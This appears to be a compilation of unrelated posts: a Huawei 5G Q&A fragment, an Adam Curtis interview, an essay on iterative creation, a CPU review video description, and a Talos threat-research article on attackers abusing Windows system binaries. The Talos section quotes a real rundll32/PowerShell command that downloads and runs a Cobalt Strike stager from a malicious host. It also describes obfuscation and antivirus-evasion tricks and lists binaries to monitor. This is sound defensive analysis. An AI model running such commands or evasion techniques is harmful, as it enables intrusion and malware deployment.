Huawei has tried to reassure customers by setting up laboratories in Britain, Canada and Germany for governments there to conduct security tests on its software and hardware.

———

Q: What is Huawei’s role in next-generation telecom technology?

A: Huawei is one of the biggest global developers of fifth-generation telecoms technology, along with Finland’s Nokia Corp. and Sweden’s LM Ericsson.

The 5G technology is meant to vastly expand the reach of networks to support internet-linked medical devices, factory equipment, self-driving cars and other devices. That makes it more politically sensitive and raises the potential cost of security failures and requires more trust in suppliers.

Annual sales of 5G network gear are forecast to reach $11 billion by 2022, according to IHS Markit.

Huawei has agreements to test 5G equipment with Deutsche Telekom, Bell Canada, France’s Bouygues, Telecom Italia, India’s Bharti Airtel and carriers in Singapore, South Korea and Ireland.

The United States, Australia and Taiwan have barred Huawei from working on 5G networks. Industry analysts and some telecom executives warn that will drastically reduce competition and raise prices for consumers.

Washington is pressing allies to shun Huawei, but Germany, France and Ireland say they have no plans to ban any 5G network suppliers.

[tattooed-alchemist]

The 2016 election has made soothsayers of any number of historians, academics and philosophers, but one of the few filmmakers who saw Donald Trump coming was the documentarian Adam Curtis. One might even argue that Trump's victory was the closing argument of a thesis he has been refining and developing for the last 15 years.

Since his 2002 opus, The Century of Self, Curtis has traced the myriad ways in which the left has abandoned politics in favor of a radical individualism, online and off, that has allowed reactionary forces to metastasize in the West and across the globe. As he ominously declares at the beginning of his latest film, Hypernormalisation (2016), these forces are now puncturing "the fragile surface of our carefully constructed fake world."

Drawing from the BBC's vast video archive, Curtis' films are ambitious, addictive and haunting. In The Power of Nightmares (2004), he charts the eery parallels between the neoconservative and radical Islamist movements of the late 20th and early 21st centuries, and the ways in which our political leaders have preyed upon our fears to maintain their grip on power. The documentary also examines the ways in which we're still living in the shadows of the Cold War, decades after perestroika. The Trap (2007) offers a searing look at how Britain's and the United States' attempts to free themselves from bureaucracy have given rise to a bloodless and oppressive managerialism, while their efforts to spread democracy abroad have yielded only violent mayhem. All Watched Over By Machines of Loving Grace, released in 2011, explores how our reliance on computers to forge a stable world has produced just the opposite.

Curtis spoke with AlterNet last week about a range of subjects, and then a strange thing happened, as he might pronounce in one of his documentaries. The Syrian government launched a chemical weapons assault killing scores of civilians, and the U.S. responded with a missile strike of its own. Or so the dominant political-media narrative would dictate. What follows is a composite of our conversation before and after, over the phone and via email—a fragmented Q&A for a complex and possibly unknowable moment in history.

Jacob Sugarman: So in less than a week since we first spoke, Donald Trump has done a complete about-face on Syria and Bashar al-Assad. Obviously we're just hours removed from the airstrike, but what are your first impressions? Does this signal to you that the Pentagon is dictating his foreign policy? Is this bombing campaign an elaborate piece of political theater or is it more likely the opening gambit in a prolonged assault?

Adam Curtis: No one knows what the attack means, or how it will play out. It is far too early. My first reaction is that what may be happening is that President Trump is stepping for the first time into the real world. But he will discover that the consequences may be very different and far more complex than he imagines.

Firstly, the question that has not really been addressed is, why did the Syrians use chemical weapons? If, as we are constantly being told, the regime is winning the civil war, why did they do something like that? Some analysts and journalists are saying that possibly Assad is not winning; that the Syrian army is exhausted and starting to fall apart; and that the Russians are finding the conflict far more difficult to deal with than they imagined, especially with just dropping bombs. Most of the really hard fighting for Aleppo was not done by the Syrian army but by Hezbollah, which is becoming a really serious army. And behind them are the Revolutionary Guards of Iran.

Secondly, such an intervention leads to the question, who are the goodies and who are the baddies in this war? If President Trump has turned against Assad and will genuinely work for his removal, then who should replace him? This is the reality that President Obama faced and recoiled from because there is no simple answer. Just as the Americans discovered in Afghanistan, which had also been fighting a civil war since 1978, everyone is compromised in some way, because they have all been sucked into a grinding struggle for power. The truth is that no-one in America who is pushing for something to be done about Syria—the liberal humanitarians, the neoconservatives, the globalists in the military—has any real answer about who to support.

The other possibility is that it may be just another part of the pantomime, a missile hit designed to distract from scandals at home. But that takes you back to President Clinton’s missile attack against Osama bin Laden’s training camps in 1998—an attack that many believed was not only a retaliation for the bombings of U.S. embassies in Kenya and Tanzania but an attempt at distracting attention from the Monica Lewinsky scandal. And looking back that doesn’t seem to have been a very good idea. It had a very counter-productive effect on the Taliban. Up to that point they were really fed up with bin Laden and were looking for ways to be rid of him, even possibly giving him up to the Americans. After the attacks the Taliban stopped all that.

The truth is that we in the West have so simplified our vision of the world, into a battle between good and evil, that we now find it impossible to understand the reality. It was a process that started in the 1990s under Clinton and Blair, but both Trump and his enemies, the liberal interventionists, have inherited that one-dimensional view. It is dangerous because it ignores the realities of power in societies. And Trump may find he is opening the door to something very complicated, not just Syria but the forces that surround it—Turkey, Iran, Saudi Arabia and Israel, all of whom are deeply involved in the conflict.

And it will also have a terrible effect for Trump domestically. All the hard-line isolationists who backed him will be furious. It’s just what Hillary Clinton would have done, they will cry. Trump has become a deep state puppet.

JS: We're more than 70 days into Trump's presidency, just a few weeks short of the juncture when historians and political analysts begin to assess an office in earnest. Do you see America sliding into authoritarianism or fascism, or are the evils of this administration more banal than that?

AC: America is not sliding into fascism. That's just hysteria by the liberals who can't face up to the fact that they lost the election, so they either have to blame the Russians or giant historical forces. Basically, a right-wing president has been elected, and he's created a brilliant machine that captures liberals and keeps them completely preoccupied. What he does is he wakes up in the morning, tweets something that he knows isn't true, they get very upset and spend the whole day writing in big capital letters on social media, "This is outrageous. This is bad. This is fascism." What they're not facing up to is the real question, which is why did Donald Trump win the election? What other forces in the country had they, the liberals, not seen?

They weren't defeated by something as grand as fascism. They were defeated by a man who's connected with a disaffected group in America, like the people who voted for Brexit in my country. I think there's a great deal of narcissism which Mr. Trump has worked at how to play on beautifully.

JS: Your most recent documentary is called Hypernormalisation. Can you explain what a hypenormalised state is and how it creates an opening for somebody like Trump to exploit?

AC: The term was created by a guy called Alexei Yurchak, who wrote a book about the last days of the Soviet Union in the 1980s. What he described was a world where everyone knew that the system in place wasn't working and that the politicians didn't believe it any longer. Yet at the same time, because they didn't have any alternative, everyone just accepted it as normal even though they knew it was abnormal. So he gave it this term hypernormalisation. I'm not trying to say that the West is in any way like the Soviet Union at all. It's very different. What I was trying to argue, or imply in this film gently, was that we may be in a very similar situation where we know that the system has become somewhat corrupted. But more than that, we know that those in charge don't really believe in the system any longer, have no vision of the future. And what's more, they know that we know that.

What Trump is doing is playing with the fakery. It may be instinctive. He's saying things that he knows that we know aren't true, at which point everyone gets locked into a game of what's true and what's not true. This misses the real point of politics, which is to tell a powerful story that offers a vision of the future. I don't think Trump has a vision of the future. I think he's the last of the old politicians.

JS: It doesn't seem like Trump has any kind of ideology beyond a base self-interest, but I don't think the same is true of some of the people in his administration. What do you make of someone like Steve Bannon? Do you see him as a descendent of Leo Strauss, as you've argued the neoconservatives were, or am I giving him more gravitas than he deserves? [Editor's note: This portion of the interview was conducted before Bannon was removed from the National Security Council.]

AC: I think you should pay more attention to the traditional, hard-right-wing people who have risen to power with Trump. Donald comes from the world of finance and he is doing what finance wants to do. I would argue that actually it shows that really nothing has changed, which is a very hypernormal situation. We know that many of the people who possibly should have been prosecuted after the financial crisis of 2008 were not. Now it's carrying on while liberals boo and hiss at the man in charge. Behind the scenery, everyone is just carrying on managing the system in their own interests as they have before.

Steve Bannon? I don't know. We have a phrase in Britain, which is "All mouth, no trousers." He's a degraded clash-of-civilizations man, and he's a bit late to the table on that one because [Jean-Marie Le Pen] tried that in 2004. It didn't work. I'm far more interested in what I would call real power, which is the power of finance. It's really extraordinary that Trump has moved into a position of power. People from the political financial world would never in a million years let him borrow their money, which makes you wonder whether he is a part of the pantomime.

JS: One of the ideas you put forth on the eve of the election is that Trump is actually a product of 1970s counterculture. I'm not sure how many people would make that association.

AC: If you shut your eyes and listen to Donald Trump, or half of what Donald Trump says, he sounds like one of those paranoid hippies who kept talking about The Man, big T, big M. The Man is this sort of corrupt political insider who doesn't care about anything except power and is pulling the wool over your eyes. At the end of the 1960s, the left turned against politics and said, Look, all politics is shit. Everyone is corrupt. Therefore what you have to do is detach yourself from politics and really turn to those who you trust. Out of that you got the politics of individualism, which then rose up and supported Reagan. What's really fascinating, which I shared in a series called "The Century of the Self," is how many people who'd come out of the counterculture ended up voting for Reagan in 1980 because he offered that sort of individualism. But if you listen to Trump, it's the discourse of the counterculture, and he's playing with that.

JS: So if Trump is the apotheosis of this radical individualism and all these cultural signs pointed to him, or someone like him becoming president, are there any markers for what might come next? What gives you hope for the future?

AC: The thing that makes me really sad, and to an extent, angry, is the complete failure of the liberals and the progressives to actually face up to what people like Trump really mean. What it means is that there are groups in this country, many of them poor, many of them part of the working class, who are feeling frightened, alone, and afraid of the future. They voted for Trump or for Brexit in my country as a way of expressing that, because the traditional politics would not let them do it. The liberals would not go and connect with those people. What they do is they spend their time saying they're stupid, which is the most stupid thing you can possibly do.

What the left has got to do is go and find a common line for those people and genuinely offer them something. If they did that, they could make politics noble and important again. But instead they're hunkering down, sneering, and trying to blame Vladimir Putin. I mean, I'm sure Russians did hack practically every server in America, but that's not the real reason why Donald Trump won. Progressives have not faced up to this. In a sense, I'm hopeful because the failure of Trump to be able to deliver what he has promised gives great opportunities for the left to reinvent itself. The only person who interests me is Bernie Sanders. He's going around having what he calls town hall meetings with those people, and I think that's really good.

JS: Why do you think liberals are so frightened of these big animating ideas? I found it very telling how few Democrats were willing to come out in support of a single-payer health care system or even a public option after Trump's latest bill went down in flames, Sanders being a notable exception.

AC: One of the great unanswered questions of my time is why the optimism and idealism of liberals, who used the power of state to change the world for the better, collapsed so quickly and turned to pessimism. If you talk to groups of liberals now, it's like talking to people who think the plane's going to crash all the time. They dream of apocalypse and read books by Cormac McCarthy and say that sugar's going to kill them. Which it may well do, but it's not the biggest thing to worry about. I think it's terribly sad, but Trump has presented a great opportunity for them. As you say, he's failing in all his policies, isn't he? Of course, if they do miss that opportunity, then the real nasty nationalist right will start to make the running, and that's a danger in the future.

JS: I can't help but notice that the kind politics you're advocating sound a lot like those Obama ran on in 2008. Do you think he failed to live up to the promises of that campaign? Is Donald Trump a part of his legacy now?

AC: I don't know, but I don't think so. I think Obama was a very decent guy. Since the early 1990s, real power has shifted away from politicians to all sorts of institutions that we almost don't have the perception apparatus to see or understand. Frankly, a journalist doesn't. I think Obama found himself facing a lot of that. But it's us as well. At the same time that Obama came to power, we, the liberals, the Democrats, the progressives retreated to digital playgrounds owned by five or six very giant corporations. I think they left Obama quite isolated, actually. So far from snarling and spitting at him, which much of the left has done, they should actually turn around and look at themselves and wonder, possibly did we go down the wrong avenue believing all that internet utopianism? I just think that it's time for a little humility among some of the progressives in their attitude to Obama.

As I point out in Hypernormalisation, the Occupy movement had a fantastic slogan and the goodwill of lots of people who would normally never support a rebellious movement like that. Yet when they actually got together, they found they had no ideas. I think it's pretty rich that they then turned around and tried to blame Obama for not having a picture of the future when, quite frankly, they didn't. If you want to change the world, A, you've got to work at it very hard, and B, you've got to challenge power, and that's quite frightening and quite difficult, and you have to have a very strong idea of what you want.

JS: Let's return to the subject of Putin, who makes an appearance in several of your films, Hypernormalisation included. In recent weeks, it seems like a lot of legitimate concerns about the Trump administration's ties to the Kremlin have given way to rampant conspiracy theorizing. How do you explain it?

AC: Russia has been the Other ever since about 1951 for America, and then everyone tried to make it be Islamists. By about 2007 that wasn't working, and everyone now seems to have switched back to Russia. When Barry Goldwater was running for president, the John Birch Society was saying that the president was probably controlled by the Soviet Union. If you listen to the liberals now, they sound remarkably similar.

I am sure that the Russians probably did hack into the Democrats' computers. And I am sure that they may have leaked stuff to meddle with the election and to mess with confidence in the whole democratic process. I would also not be surprised if Donald Trump, and people around him, have had all kinds of dealings with dodgy people in Russia. Given the weird mixture of business and politics in that country, it might be quite likely.

But to an outsider, the way the Democrats and their supporters are obsessing with Russia looks very strange and hysterical. From a distance it seems as if they are desperately trying to avoid facing up to the very powerful reality that was revealed by the election. Instead they seem to be retreating into a kind of magical thinking. Looking for something, anything that will be like a magic wand and wave President Trump away. And then they can go back to normality. It can’t help crossing one’s mind that maybe the Democrats are looking for an excuse that will mean they don’t have to change, that they don’t have to give things up in today’s unequal, brutal and unfair society.

JS: What would you say to those who might feel helpless or even paralyzed by the horrific events that seem to be unfolding almost daily?

AC: Stop. Stop blaming. Stop sitting in the bubble and feeling sad. Stop sneering at the people who voted for Donald Trump and Brexit. Reconnect with them, and make politics noble again. Make it powerful. There are only two ways of changing the world. One is if you've got large amounts of money. The other is to use collective action, the collective power that politics allows you. Too many on the left have embraced a new kind of democracy online and gotten trapped in echo chambers. You can't say "You can't trust any politicians," because actually that becomes a self-fulfilling prophecy. What I'm saying is get engaged.

During the civil rights movement in America in the late '50s and early '60s, young white activists went down to the South, united with young black activists and worked for years to confront vested interests, ruthless power. Some of them were killed, many were beaten up. Most of them were completely anonymous, but they changed the world. And there is a great hunger for that kind of change.

[devarshruparelia]

On Creation by Refinement

I recently read a research paper by J.P. Lewis titled Creation by refinement and the problem of algorithmic music composition. While I was trying to concentrate on how I could use the paradigm presented in the paper in the context of algorithmic music composition, I realised the approach could be applied to a lot of areas from science and engineering to arts and politics.

Just think about the impact on our real-world systems if they were build with this approach. While Machine Learning techniques do follow a similar approach, there is a big difference. Usual supervised learning approaches optimise by refinement, which is why they can solve problems such as teaching cars to drive themselves or identifying humans or objects in pictures.

Creation by Refinement (CBR) is not optimisation but creation based on the critique of something already produced be it a news article, speech, product or a software (actually anything). CBR is at the core iterative creation. A consequence of this approach is that it assumes that creations are never perfect, they are critiqued according to learned constraints (which in real life are laws, public response or revenue numbers) and then pushed back to the creation stage with new weights on each of the decisive factors that led to the creation of the last version.

The application of approach to real-life systems such as stock markets, politics or journalism may hurt self-esteem of lot of individuals or groups, or even affect society in different ways. There is definitely going to be a response from everyone involved. However, it is certain that next iteration of the creation will be far better or more trustworthy than the last one by a huge margin. This improvement to commerce and society is more than enough. Actually, this approach is already in place in some areas. This is not because they want to, but because they have to. For example, Space Exploration companies or agencies have just one chance to have a successful mission, either their mission will succeed or it won't. Zero or one. This is the reason why failure rates in space exploration have steadily improved with passage of time [2].

It is hard to think of anything that couldn't be improved through use of this technique. The problem with this approach is that it is hard to apply due to human biases. Biases plague many systems such as government. It is hard to think of how to effectively apply CBR approach to government or related human-reliant systems because of lack of transparency and inherent biases in individuals involved.

To end with, this is an approach that if applied in right contexts effectively can transform our world into a utopia. It is a straightforward antidote to many our society's problems. The only question is are we open enough to our criticism for our own good in the long run?

[1] Lewis, J. P. (1991). Music and Connectionism, chap. Creation by refinement and the problem of algorithmic music composition. The MIT Press, Cambridge.

[2] Worldwide Orbital Launch Summary

[kaos-sverige]

THE FUTURE OF STREAMING - AMD Threadripper 3960X & 3970X Review [STREAMGUIDES] Streaming Benchmarks

Published on Nov 25, 2019

🎤 SPONSOR: ModMic USB & Uni - https://antlionaudio.com/?utm_source=... 🎙 AMD's new Ryzen Threadripper 3000 CPUs are here! the 24 core 48 thread TR 3960X and the 32 core 64 thread TR 3970X are AMAZING CPUs, and here's, well, everything you need to know about Threadripper 3. I cover how the new Zen 2 architecture of Threadripper 3000 differs from last gen, tease the new 64 core 128 thread TR 3990X, benchmark both the 3970X and 3960X in Adobe Premiere Pro CC 2020 benchmarks, Adobe Photoshop CC 2020 benchmarks, Adobe After Effects benchmarks, DaVinci Resolve Studio benchmarks, plus my OBS benchmarks and streaming testing. This new launch is truly the FUTURE of live streaming tech - these chips can stream formats that have been tough to stream (like 1080p 60fps on X264 Slow) as well as formats no one is streaming yet - like 1080p 120fps, 1440p 60fps, and 4K! StreamGuides is your one-stop shop for streaming education for Twitch, Mixer, YouTube Live, YouTube Gaming, and Facebook Gaming, and more! Enjoy the Threadripper 3000 OBS Studio benchmarks. [Usual disclosure: These processors were sent for review by AMD. AMD has never purchased advertising on this channel, no one is paying for this review, providing input as to what I say in the review, nor seeing it before it is published.] ★★ PRODUCT LINKS (affiliate) ★★ ★ AMD Ryzen Threadripper 3960X: Amazon - http://geni.us/Iyp8kK eBay - https://geni.us/gQsu6Hs Newegg - https://geni.us/C8hSZ B&H - https://bhpho.to/34jtbUy ★ AMD Ryzen Threadripper 3970X: Amazon - http://geni.us/VyIwk5p eBay - https://geni.us/AeRHJ2 Newegg - https://geni.us/9UhF B&H - https://bhpho.to/2qybh23 ★ Enermax Liqtech II TR4 360mm AIO liquid cooler: Amazon - http://geni.us/OBis eBay - https://geni.us/pNfjE5 Newegg - https://geni.us/69G0wQh ★ Be Quiet! Dark Rock Pro TR4 dual fan air tower cooler: Amazon - http://geni.us/dhhI eBay - https://geni.us/u5B5w Newegg - https://geni.us/wEoQ4X B&H - https://bhpho.to/35xzOTK ★ ASUS ROG Zenith II Extreme TRX40 motherboard: Amazon - http://geni.us/FrWdd eBay - https://geni.us/5glWBq Newegg - https://geni.us/ApuWY ★ MSI TRX40 Creator motherboard: Amazon - http://geni.us/yZNfdAp eBay - https://geni.us/yFJYuiq Newegg - https://geni.us/56jn ►► PLEX AFFILIATE LINKS: Signup: https://geni.us/plexfree1 Plex Pass: https://geni.us/plexpass1 Plex Pass Gift: https://geni.us/plexpassgift ⌚ TIMECODES ⌚ 00:00 Intro 02:16 Threadripper Launch (Background & Tech Details) 03:57 New Socket & Chipset 09:07 Focus of This Video 09:55 Benchmarking 10:02 Cinebench 11:21 Handbrake 13:57 Puget Photoshop CC 2020 14:55 Puget AE CC 2019 15:49 Premiere CC 2020 Puget 16:36 DaVinci Resolve 18:49 Plex 21:08 Blender 21:42 Streaming 22:12 1080p60 Streaming 23:35 1080p120 Streaming 25:35 1440p60 Streaming 26:48 Dedicated Streaming PC, 720p60 Slower, 4K Streaming 29:42 What makes Zen 2 Different 33:11 Motherboards & Platform Thoughts 39:52 Cooling 41:48 Conclusion Referenced resources: NUMA: https://itnext.io/vmware-vsphere-why-... https://en.wikipedia.org/wiki/Non-uni... Ecc https://www.atlantic.net/hipaa-compli... Quad Channel https://www.pcworld.com/article/29829... WRX80 rumor https://wccftech.com/amd-ryzen-thread... GN Wendell 128core 128-Core AMD Epyc Rome Server Tear-Down, ft. Level1Techs Threadripper (general) - https://www.amd.com/en/products/ryzen... Backcompat https://wccftech.com/amd-ryzen-3000-s... Amd video Performance Preview: 3rd Gen AMD Ryzen™ Threadripper™ Processors for Creators Wendell 2990WX 2990WX Threadripper Performance Regression FIXED on Windows* #threadripper 3950x Intel Could Take YEARS to Catch Up… - Ryzen 9 3950X Review What's new Premiere CC 2020 https://nofilmschool.com/whats-new-pr... Plex 4K transcoding tests PLEX: How much POWER do you need to Transcode 4K HDR BluRay Rips?! (i7-6900K vs Dual Xeon X5560) New Plex Transcoder https://forums.plex.tv/t/plex-media-s... OBS Render Lag Fix - OBS GPU Allocation OBS LAG FIX! Low FPS in Apex, PUBG, Overwatch, Siege FIXED - RENDER LAG FIXED X264 Slow is NOT worth it! X264 Image Quality Analysis: SLOW is NOT worth it (GN Follow-Up) Motherboard Pricing - https://wccftech.com/amd-3rd-gen-thre... Thanks for watching! ------------------------- 🎬 Edited with Premiere Pro https://goo.gl/rJwkQj or DaVinci Resolve https://geni.us/9hFKcm 📧 For marketing/business/sponsorship inquiries, email adam@eposvox.com 📬 Shipping: P.O. Box 459 Jeffersonville, IN 47131 💻 Discord Server: https://discord.gg/sP24KUw #streamguides #threadripper #obs

[terabitweb]

Original Post from Talos Security Author:

By Vanja Svajcer.

Introduction

Attackers’ trends tend to come and go. But one popular technique we’re seeing at this time is the use of living-off-the-land binaries — or “LoLBins”. LoLBins are used by different actors combined with fileless malware and legitimate cloud services to improve chances of staying undetected within an organisation, usually during post-exploitation attack phases.

Living-off-the-land tactics mean that attackers are using pre-installed tools to carry out their work. This makes it more difficult for defenders to detect attacks and researchers to identify the attackers behind the campaign. In the attacks we’re seeing, there are binaries supplied by the victim’s operating system that are normally used for legitimate purposes, but in these cases, are being abused by the attackers.

In this post, we will take a look at the use of LOLBins through the lense of Cisco’s product telemetry. We’ll also walk through the most frequently abused Windows system binaries and measure their usage by analyzing data from Cisco AMP for Endpoints.

You’ll also find an overview of a few recent campaigns we’ve seen using LoLBins, along with recommendations for how to detect malicious LoLBins’ activities.

What are LoLBins

A LoLBin is any binary supplied by the operating system that is normally used for legitimate purposes but can also be abused by malicious actors. Several default system binaries have unexpected side effects, which may allow attackers to hide their activities post-exploitation.

The concept of LoLBins is not new and isn’t specific to Windows. Almost all conventional operating systems, starting from the early DOS versions and Unix systems, contained executables that attackers could exploit.

Here is an example from the mid 80s in which binary code to reboot the computer was supplied to the default debug.com DOS debugger as text, designed to avoid detection by anti-malware scanners and run malicious code as intended.

N SET.COM A 100 MOV AX,0040 MOV DS,AX MOV AX,1234 MOV [0072],AX JMP F000:FFF0 RCX 10 W Q

In their presentation at DerbyCon 3, Matthew Graeber and Christopher Campbell set the baseline for Windows, by discussing the advantages of using default Windows binaries to conduct red team activities and avoiding defensive mechanisms.

In this post we also focus on Windows LoLBins and their usage today.

Overall, attackers can using LoLBins to:

Download and install malicious code

Executing malicious code

Bypassing UAC

Bypassing application control such as (WDAC)

Attackers may be able to target other utilities that are often pre-installed by system manufacturers and may be discovered during reconnaissance. These executables can be signed utilities such as updaters, configuration programs and various third party drivers.

The usage of LoLBins has been frequently combined with legitimate cloud services such as GitHub, Pastebin, Amazon S3 storage and cloud drives such as Dropbox, Box and Google Drive. By using legitimate cloud services for storage of malicious code, command and control (C2) infrastructure and data exfiltration attackers activities are more likely to remain undetected as the generated traffic does not differ from the traffic generated by systems that are not compromised.

Talos is mainly interested in finding executables that can be used to download or execute malicious code. In our research, we monitor daily execution patterns of the following executables to detect their abuse:

powershell.exe

bitsadmin.exe

certutil.exe

psexec.exe

wmic.exe

mshta.exe

mofcomp.exe

cmstp.exe

windbg.exe

cdb.exe

msbuild.exe

csc.exe

regsvr32.exe

Abusing PowerShell

A primary suspect for malicious code download and in-memory execution in the recent period is PowerShell. Threat actors commonly use this command shell, which is built on the Windows management and .NET frameworks. This powerful administration environment has a security policy that can prevent the execution of untrusted code. Unfortunately, this policy can be easily circumvented with a single command line option.

One could argue that the execution of PowerShell with the option to bypass security policy should be outright blocked. However, there are a number of legitimate tools, such as Chocolatey package manager and some system management tools that use the exact command line.

PowerShell’s code is not case-sensitive, and it will accept shortened versions of command line options, as long as the option isn’t ambiguous. For example -EncodedCommand option, which accepts a Base64-encoded string as a parameter can also be invoked as -EncodedC or even -enc, which is commonly used by malicious actors.

Popular malware like Sodinokibi and Gandcrab have used reflect DLL loaders in the past that allows attackers to load a dynamic library into process memory without using Windows API.

The Invoke-Obfuscation module is often used to create polymorphic obfuscated variants, which will not be detected by antivirus programs and other defensive mechanisms.

Over time, attackers have also realized the malicious potential of PowerShell, widening the number of executables used as LoLBins. Msbuild.exe and C# compiler csc.exe are some of the most frequently used by red teams. Both are frequently used to download, build and load malicious code that is built for that particular system and does not appear on any executable block list.

Measuring LoLBins usage

We analyzed telemetry provided from Cisco AMP for Endpoints to measure how often LoLBins are abused. The telemetry, sent over a secure channel, contains names of invoked processes and cryptographic checksums of their file images which helps us with tracking file trajectories and building parent-child process relationships that can be used for hunting.

An example of process retrospection graph in AMP telemetry.

The telemetry data is focused on detecting new attacks as they happen but it should also allow us to measure how many potential LoLBin invocations are suspicious.

We looked at different LoLBins where the decision could be made quickly. In all cases, we’re assuming the worst-case scenario and designated any invocation of the following processes with a URL as a parameter as suspicious:

mshta.exe

certutil.exe

bitsadmin.exe

regsvr32.exe

powershell.exe

Our relaxed definition of suspicious process invocation means that will also have significant false positive rate. For example, for PowerShell invocations with a URL in command line, we estimate that only 7 percent of the initially chosen calls should be checked in-depth and are likely to be malicious.

We obtain the percentage of suspicious calls by mining billions of daily data points and dividing the number of detected suspicious calls with the overall number of calls. Overall, our worst-case scenario shows that at least 99.8 percent of all LoLBins invocations are not worth further investigation.

LoLBins and percentages of suspect invocations.

We then distilled down these potentially suspicious calls to find the ones that are likely to be malicious.

Once again, we will take PowerShell. The worst figure for potentially suspicious PowerShell process executions was 0.2 percent. However, as mentioned before, only 7 percent of those actually require in-depth investigation, which brings the percentage down to 0.014 percent. Therefore, at least 99.986 percent of PowerShell invocations are legitimate.

A simple rule of thumb for URLs that can be used to pinpoint calls that are more likely to be malicious is to look for LoLBins invocation combined with:

External numeric IP address

Any .net TLD

Any .eu TLD

Any .ru TLD

Any URL ending with an executable or image extension (e.g. .EXE, .LNK, .DLL, .JPG, .PNG etc.)

Any reference to Pastebin.com and its clones

Any reference to Github or any other source code repository sites

Red teams’ activities

Although the majority of recorded suspicious calls belong to malicious actors, it is worth noting that red-team activities are also visible. Here, security teams and penetration testers are often using adversarial simulation frameworks such as Red Canary Atomic tests to test the organizational defences against tools, techniques and processes as classified in the ATT&CK knowledge base.

Some red team tools are tailored to mimic activity of popular tools such as Mimikatz. Here is an example of a tailor-made script hosted on GitHub to emulate adversarial technique of using a reputable domain to store malicious code.

Red team members using fake Mimikatz module to test defenses.

LoLBins actors’ skill levels

In this section, we’ll describe three individual campaigns, showing usage of PowerShell combined with memory-only code from three different actors with different skill sets. These campaigns can be relatively easily detected by internal hunting teams by analyzing command lines and their options.

Case 1: Common ransomware

The first case involves the Sodinokibi ransomware. Sodinokibi is a rather common ransomware that spreads by using standard methods like phishing and exploit kits, as well as exploiting vulnerabilities in web frameworks such as WebLogic.

We see from telemetry that PowerShell is launched with Invoke-Expression cmdlet evaluating code downloaded from a Pastebin web page using the Net.WebClient.DownloadString function, which downloads a web page as a string and stores it in memory.

Initial Sodinokibi PowerShell invocation.

The downloaded code is a reflective DLL loader with randomized function names to avoid simple pattern based detection engines. The ransomware payload is Base64-encoded and stored in the variable $PEBytes32. It is worth noting that Base64 executable payloads can be instantly recognized by the initial two characters “TV,” which get decoded into characters “MZ” for the start of DOS executable stub of a PE32+ executable file.

Reflective DLL loader loads Sodinokibi payload

Sodinokibi and Gandcrab are very common, but that does not mean that actors behind them are not technically proficient. Although they use off-the-shelf techniques to spread and execute payloads, we can still estimate that they have an intermediate skill level.

Case 2: Intermediate miner

Our second actor used the Powershell ability to obfuscate code and deobfuscate several layers of obfuscation in memory before reaching the actual PowerShell script that installs and launches a cryptocurrency-mining payload.

First Invoke-Obfuscation layer decoded

The Invoke-Obfuscation module is often used for PowerShell obfuscation. Apart from obfuscating the whole next layer script code, it also hides the invocation on Invoke-Expression (IEX) cmdlet. In this example, the $Env:COMSpec variable contains the string “C:WindowsSystemcmd.exe” so that joined fourth, 15th and 25th character form the string “iex.”

This cryptocurrency miner had five deobfuscation stages and in the final one, the invocation of IEX was hidden by getting the name of the variable MaximumDriveCount using “gv” (Get-Variable cmdlet) with the parameter “*mdr*” and choosing characters 3,11 and 2 to form it.

Extracting ‘iex’ from MaximumDriveCount

The downloaded PowerShell scripts contains the functionality to disable Windows Defender, Malwarebytes and Sophos anti-malware software, to install modified XMRig cryptocurrency payload and download modules with the intention to steal user credentials from memory and use the credentials to attempt to spread laterally by passing the hash (Invoke-TheHash) through SMB or WMI.

Deobfuscated crypto-miner loader

Case 3: Hiding Cobalt Strike in network traffic

Our final case study shows activities of a more advanced actor. The actor uses Cobalt Strike beacon for their post exploitation activities with a Powershell stager taken from the Cobalt Strike framework.

The telemetry shows this attack launched by abusing rundll32.exe and the command line invoking JScript code to download a web page and launch the initial PowerShell stager.

rundll32.exe javascript:\..\mshtml,RunHTMLApplication ;document.write();new%20ActiveXObject(WScript.Shell).Run(powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('hxxps://stjohnplece.co/lll/webax.js');

The first PowerShell stage, webax.js, despite misleading filename extension, decompresses the second-stage PowerShell code that loads the first shellcode stage into memory and creates a specific request to download what seems like a standard jQuery JavaScript library.

Cobalt Strike PowerShell stager

The shellcode creates a HTTP GET request to the IP address 134.209.176.24, but with header fields that indicate that the host we are looking for is code.jquery.com, the legitimate host serving jQuery. This technique seems to successfully bypass some automated execution environments which in their analysis results show that the request went to the legitimate host and not to the malicious IP address.

HTTP header with the spoofed host field

The downloaded malicious jQuery starts with the actual jQuery code in the first 4,015 bytes, followed by the obfuscated Cobalt Strike beacon, which gets deobfuscated with a static XOR key and loaded into memory using reflective loading techniques.

The beginning and the end of malicious jQuery and Cobalt Strike payload

The malicious jQuery ends with 1,520 bytes of the actual jQuery code, presumably to avoid anti-malware scanners scanning the request top and tail.

This technique of hiding binary payload within jQuery library and evasion of malicious IP address detection shows that we are dealing with a more advanced actor, which takes their operational security seriously.

Overall, we cannot pinpoint a single type of actor that focus on using LoLBins. Although they may have been used only by more advanced actors, today they are also used by actors employing common malicious code such as ransomware or cryptominers.

Detecting and preventing LoLBins abuse

The protection against abuse of LoLBins combined with fileless code is difficult for security controls that do not monitor process behavior. The abuse can be detected based on the parent-child relationship of the launched processes as well as anomalies in network activity of processes that are not usually associated with network communication.

Organisations are advised to configure their systems for centralized logging where further analytics can be performed by hunting teams. Since version 5, Powershell can also be configured to log execution of all executed code blocks to Windows event log. This allows members of security teams to understand obfuscated code which needs to be deobfuscated before it is run. The execution of deobfuscated code will be visible in Windows event logs.

However, the best possible protection is to deny execution of LoLBins using mechanisms such as Windows Defender Application Control. Microsoft created a policy block file, which will block execution of LoLBins not required on protected systems.

Unfortunately, blocking all LoLBins is not possible in most environments since they are also required by legitimate processes.

Conclusion

Our research shows that many types of actors are employing various techniques to use LoLBins in their activities, from commodity malware to more targeted attacks. However, the overall proportion of malicious usage is very low (below 0.2 percent), which is not enough to block all invocations of LoLBins.

However, blue team members must keep LoLBins in mind while conducting regular hunting activities. If used successfully, an attacker can use these to make their attacks more difficult to trace or make their malware linger for longer on the victim machine.

Coverage

It is advisable to employ endpoint detection and response tools (EDR) such as Cisco AMP for Endpoints, which gives users the ability to track process invocation and inspect processes. Try AMP for free here.

Additional ways our customers can detect and block these threats are listed below.

Cisco Cloud Web Security (CWS) or Web Security Appliance (WSA) web scanning prevents access to malicious websites and detects malware used in these attacks.

Email Security can block malicious emails sent by threat actors as part of their campaign.

